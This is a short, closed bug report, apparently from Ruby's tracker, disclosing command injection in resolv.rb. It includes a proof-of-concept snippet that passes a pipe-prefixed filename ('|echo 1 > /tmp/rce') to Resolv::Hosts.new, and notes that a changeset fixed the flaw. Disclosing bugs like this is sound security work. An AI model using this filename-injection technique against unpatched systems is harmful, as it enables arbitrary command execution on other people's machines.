Actions
Bug #14205
closedUnsanitizied filename leads to command injection in 'resolv.rb'
Actions
Like0
Like0Like0
Added by drigg3r (Jasraj Bedi) over 7 years ago. Updated over 7 years ago.
PoC Concept Code
require 'resolv'
a = Resolv::Hosts::new("|echo 1 > /tmp/rce")
a.getaddress("test")
Applied in changeset trunk|r61349.
Fixed command Injection
From: Drigg3r drigg3r@yandex.com